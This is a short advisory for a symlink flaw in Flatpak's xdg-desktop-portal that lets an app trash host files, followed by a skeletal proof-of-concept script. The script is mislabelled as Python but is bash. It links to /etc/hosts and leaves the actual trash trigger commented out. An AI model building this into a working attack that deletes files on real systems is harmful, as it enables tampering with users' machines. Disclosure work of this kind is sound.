Flatpak xdg-desktop-portal before 1.20.4 and 1.21.x before 1.21.1 allows any Flatpak app to trash any file in the host context via a symlink attack on g_file_trash.
The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-40354
# Demonstrates the symlink attack concept
HOST_FILE="/etc/hosts"
SYMLINK="exploit_link.txt"
echo "[+] Creating symlink pointing to host file..."
ln -s $HOST_FILE $SYMLINK
echo "[+] Triggering trash operation via portal..."
# In a real scenario, the Flatpak app calls the portal DBus interface
# which invokes g_file_trash on the symlink
# gio trash $SYMLINK
echo "[!] If successful, $HOST_FILE is trashed."